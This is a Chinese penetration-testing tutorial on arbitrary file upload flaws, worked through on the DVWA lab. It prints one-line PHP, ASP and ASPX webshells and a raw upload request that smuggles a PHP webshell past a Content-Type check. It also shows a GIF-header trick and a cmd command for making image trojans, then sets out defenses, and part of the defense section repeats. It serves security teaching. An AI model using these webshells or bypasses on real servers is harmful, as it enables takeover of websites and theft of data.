渗透测试漏洞原理
任意文件上传
1. 任意文件上传概述
文件上传是Wb应用必备功能之一,如,头像上传,附件分享等。如果服务器配置不当或者没有进行足够的过滤,Web用户就可以上传任意文件,包括恶意脚本文件,exe程序等等,这就造成了任意文件上传漏洞。
1.1 漏洞成因
服务器配置不当,开启了PUT方法。
Web应用开放了文件上传功能,没有对上传的文件做足够的限制和过滤。
在程序开发部署时,没有考虑以下因素,导致限制被绕过:
- 代码特性。
- 组件漏洞。
- Web容器漏洞。
- 系统特性。
- …
1.2 漏洞原理
任意文件上传漏洞的原理通常由以下几点组成:
- 缺乏对上传文件的合法性检查:服务器端未对上传文件的类型、大小、扩展名等进行有效验证和过滤。
- 文件上传路径可被控制:攻击者可以通过控制上传文件的路径,将文件存储到服务器的任意位置。
- 缺乏恶意文件的执行限制:服务器端未对上传的文件进行适当的权限控制,导致攻击者可以执行其中的恶意代码。
1.3 漏洞危害
任意文件上传漏洞的危害包括但不限于以下几点:
- 执行恶意代码:攻击者可以上传包含恶意代码的文件,并在服务器上执行该代码,从而获取系统权限,窃取用户敏感信息,甚至对系统进行进一步攻击。
- 文件覆盖与删除:攻击者可以上传恶意文件并覆盖或删除原有的合法文件,导致系统功能异常或数据丢失。
- 服务器资源滥用:攻击者可以上传大型文件或大量文件,导致服务器资源被滥用,影响正常的系统运行。
- 绕过身份验证:攻击者可以通过上传恶意文件绕过身份验证机制,直接访问受限资源或执行特权操作。拿到管理员权限(提权),导致服务器沦陷。
通过文件上传漏洞获得的网站后门,叫WebShell。
1.4 漏洞的利用方法
攻击者可以通过以下方式利用任意文件上传漏洞:
- 构造恶意文件:攻击者构造包含恶意代码的文件,例如脚本文件(如PHP、ASP、JSP等)或经过精心编写的恶意程序。
- 绕过上传限制:攻击者可能通过修改上传请求、伪装文件类型或使用特殊文件名等方式绕过服务器端的上传限制。
- 控制上传路径:攻击者在上传文件时,可以通过控制文件的保存路径,将文件存储到指定目录中,从而达到恶意操作的目的。
1.5 漏洞的验证
要验证任意文件上传漏洞,可以按照以下步骤进行:
- 识别文件上传功能:确定目标应用程序是否提供了文件上传的功能,例如用户头像上传、文件分享等。
- 构造恶意文件:创建一个包含恶意代码的文件,例如一个带有可执行代码的脚本文件(如PHP、ASP、JSP等)。确保恶意文件中的代码能够执行某种操作,比如访问敏感数据或者获取系统权限。
- 绕过上传限制:尝试绕过服务器端的上传限制。通常情况下,服务器会对文件类型、大小、扩展名等进行验证和过滤。你可以尝试使用不同的文件类型、修改文件扩展名或者篡改上传请求来绕过这些限制。
- 上传恶意文件:通过目标应用程序的文件上传功能,尝试上传构造好的恶意文件。如果上传成功并且服务器没有对文件进行合理的检查和处理,那么可能存在任意文件上传漏洞。
- 执行恶意代码:验证是否可以执行上传的恶意文件中的恶意代码。尝试通过访问上传文件的URL或者触发相应的操作来执行恶意代码,并观察是否有预期的结果产生。
2. WebShell解析
2.1 Shell
2.1.1 命令解释器
Windows | Linux |
---|---|
powershell | bash |
cmd | sh |
zsh | |
… |
2.2 WebShell
WebShel‖是一个网站的后门,也是一个命令解释器。通过Web方式,使用HTTP HTTPS协议传递命令消息到服务器,并且继承了Web用户的权限,在服务器上远程执行命令。WebShell从本质上讲,就是服务器端可运行的脚本文件,后缀名通常为:
- .php
- .asp
- .aspx
- .jsp
- …
WebShell接收来自于Web用户的命令,然后在服务器端执行,也称为网站木马、木马后门、网马等。
Web 容器 | 脚本语言 |
---|---|
Apache HTTPD | php |
IIS | asp| aspx| php |
Tomcat | jsp| jspx |
2.2.1 大马
代码量比较大,与小马对比。
2.2.2 小马
一句话木马,需要与中国菜闭配合。
特点:短小精悍,功能强大。
三大基本功能:文件管理、虚拟终端、数据库管理。
php脚本格式:
<?php @eval($_REQUEST[777])?>
//代码执行函数+传参点
asp脚本形式:
<%eval request("777")%>
aspx脚本形式:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["777"],"unsafe");%>
2.2.3 GetShell
GetShell是获取WebShell的过程或结果。文件上传漏洞的利用是GetShell的主要方式,但不是唯一手段。
2.2.4 WebShell项目
tennc/webshell 。
3. 任意文件上传攻防
以DVWA靶场为例,可以参考俺的另一篇博客:DVWA靶场通关详细教程
3.1 毫无检测
3.1.1 源代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>'; }
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>"; }
}
?>
将上传的文件存入缓存中,然后移动到目标路径
3.1.2 代码审计
-
对文件上传没有做任何过滤。
-
任意文件上传。
3.2 黑白名单策略
黑白名单是最常用,也是最重要的安全策略之一。黑白名单策略类似于一个列表,列表中写了一些条件或者规则,黑名单就是非法条件,白名单就是合法条件,类似于手机的黑白名单。也是最常用的防御策略之一。
3.2.1 文件检测
-
文件后缀名
-
文件类型
-
文件内容
3.2.2 后缀名黑名单
$deny_ext = array( ".php",".php5",".php4",".php3",".php2","php1",".phtml",".pht", ".html",".htm", ".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jhtml", ".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx", ".cer",".swf",
".htaccess" );
3.2.3 后缀名白名单
$allow_ext = array(
'jpg','jpeg','png',
'bmp','gif','svg',
'zip','tar.gz', 'doc',
'docx','pdf','xls','ppt'
);
3.3 文件类型检测
3.3.1 源代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>'; }
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>"; }
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; }
}
?>
3.3.2 代码审计
-
上传的文件没有重命名。
-
Content-Type 类型白名单检测。
-
任意文件上传。
POST /dvwa_2.0.1/vulnerabilities/upload/ HTTP/1.1
Host: 10.4.7.196
Content-Length: 432
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.4.7.196
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3xRrwk8liSH6rVVn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig ned-exchange;v=b3;q=0.9
Referer: http://10.4.7.196/dvwa_2.0.1/vulnerabilities/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=medium; PHPSESSID=rkgc97fga9q51hn8vciv5dt5e7; ASPSESSIONIDSASCAARA=DPNHBLIBFBKFLHLNLEHPMJCH; ASPXSpy=5854b7d51176229708197a5334ba1195
Connection: close
------WebKitFormBoundary3xRrwk8liSH6rVVn
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundary3xRrwk8liSH6rVVn
Content-Disposition: form-data; name="uploaded"; filename="yjh.php" Content-Type: image/jpeg
<?php @eval($_REQUEST[777]);phpinfo(); ?>
------WebKitFormBoundary3xRrwk8liSH6rVVn Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundary3xRrwk8liSH6rVVn--
3.4 文件后缀名或内容检测
3.4.1 源代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower(
$uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>'; }
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>"; }
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; }
}
?>
3.4.2 代码审计
-
上传文件没有重命名;
-
文件后缀名白名单检测;
-
使用getimagesize() 进行文件内容检测,只检测文件头部。
文件幻数
getimagesize()函数判断一个文件是否是图片的时候,采用的是文件幻术。
所有的GIF文件都是47 49 46 开头的。
解决方法:文件内容的绕过
在文件上方添加GIF80a
3.5 图片木马
3.5.1 使用cmd命令
copy imgName/b+phpName/a newImgName
说明:
- 图片木马没有办法直接利用,需要配合其他漏洞。图片木马中包含了恶意代码。
3.6 完全防御
3.6.1 源代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower(
$uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; }
else {
// No
echo '<pre>Your image was not uploaded.</pre>'; }
// Delete any temp files
if( file_exists( $temp_file ) ) unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; }
}
// Generate Anti-CSRF token generateSessionToken();
?>
3.6.2 代码审计
- 检测Token 值,防止数据包重放。
- 文件重命名。
- 文件后缀名白名单检测。
- 文件类型白名单检测。
- 文件内容头部检测。
- 二次渲染,生成新文件。
- 删除缓存文件。
imagecreatefromjpeg():由文件或URL创建一个图像。(可以过滤图片中的一句话木马)
3.7 文件上传利用条件
文件上传漏洞完美利用,受到以下条件限制:
-
Web 服务器开启文件上传功能,Web 用户可以使用该功能。
-
Web 用户({www|www-data|apache})对目标目录具有可写权限,甚至具有执行权限。一般情况下,Web 目录都有执行权限。
-
完美利用意味着文件可以执行,也就是说代码可以被服务器解析。
-
服务器开启了PUT 方法。
3.8 任意文件上传防御
3.8.1 代码角度
-
采用白名单策略,严格限制上传文件的后缀名。
-
上传文件重命名,尽量少的从客户端获取信息,包括文件名、文件类型、文件内容等。
-
文件内容检测。
-
进行二次渲染,过滤掉图片马中的恶意代码。
-
避免文件包含漏洞。
-
严格处理文件路径,防御00 截断漏洞。
-
检测Token 值,防止数据包重放。
3.8.2 业务角度
- 强口令策略,避免恶意攻击者登录网站后台。
- 尽量避免Web用户修改上传白名单。
3.8.3 Web容器角度
- 及时更新Web 容器,防止解析漏洞产生。
- 禁用Web 容器PUT方法。
3.8.4 系统角度
避开空格、点 .
、 ::$DATA
等系统特性。
3.8.5 服务器部署
- 严格控制权限,执行权限与写权限分离。
行权限。一般情况下,Web 目录都有执行权限。
-
完美利用意味着文件可以执行,也就是说代码可以被服务器解析。
-
服务器开启了PUT 方法。
3.8 任意文件上传防御
3.8.1 代码角度
-
采用白名单策略,严格限制上传文件的后缀名。
-
上传文件重命名,尽量少的从客户端获取信息,包括文件名、文件类型、文件内容等。
-
文件内容检测。
-
进行二次渲染,过滤掉图片马中的恶意代码。
-
避免文件包含漏洞。
-
严格处理文件路径,防御00 截断漏洞。
-
检测Token 值,防止数据包重放。
3.8.2 业务角度
- 强口令策略,避免恶意攻击者登录网站后台。
- 尽量避免Web用户修改上传白名单。
3.8.3 Web容器角度
- 及时更新Web 容器,防止解析漏洞产生。
- 禁用Web 容器PUT方法。
3.8.4 系统角度
避开空格、点 .
、 ::$DATA
等系统特性。
3.8.5 服务器部署
-
严格控制权限,执行权限与写权限分离。
-
建立单独的文件存储服务器,类似于站库分离。文章来源:https://www.toymoban.com/news/detail-680889.html
4. c0ny1/upload-labs靶场
靶场连接
文章来源地址https://www.toymoban.com/news/detail-680889.html
到了这里,关于任意文件上传的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!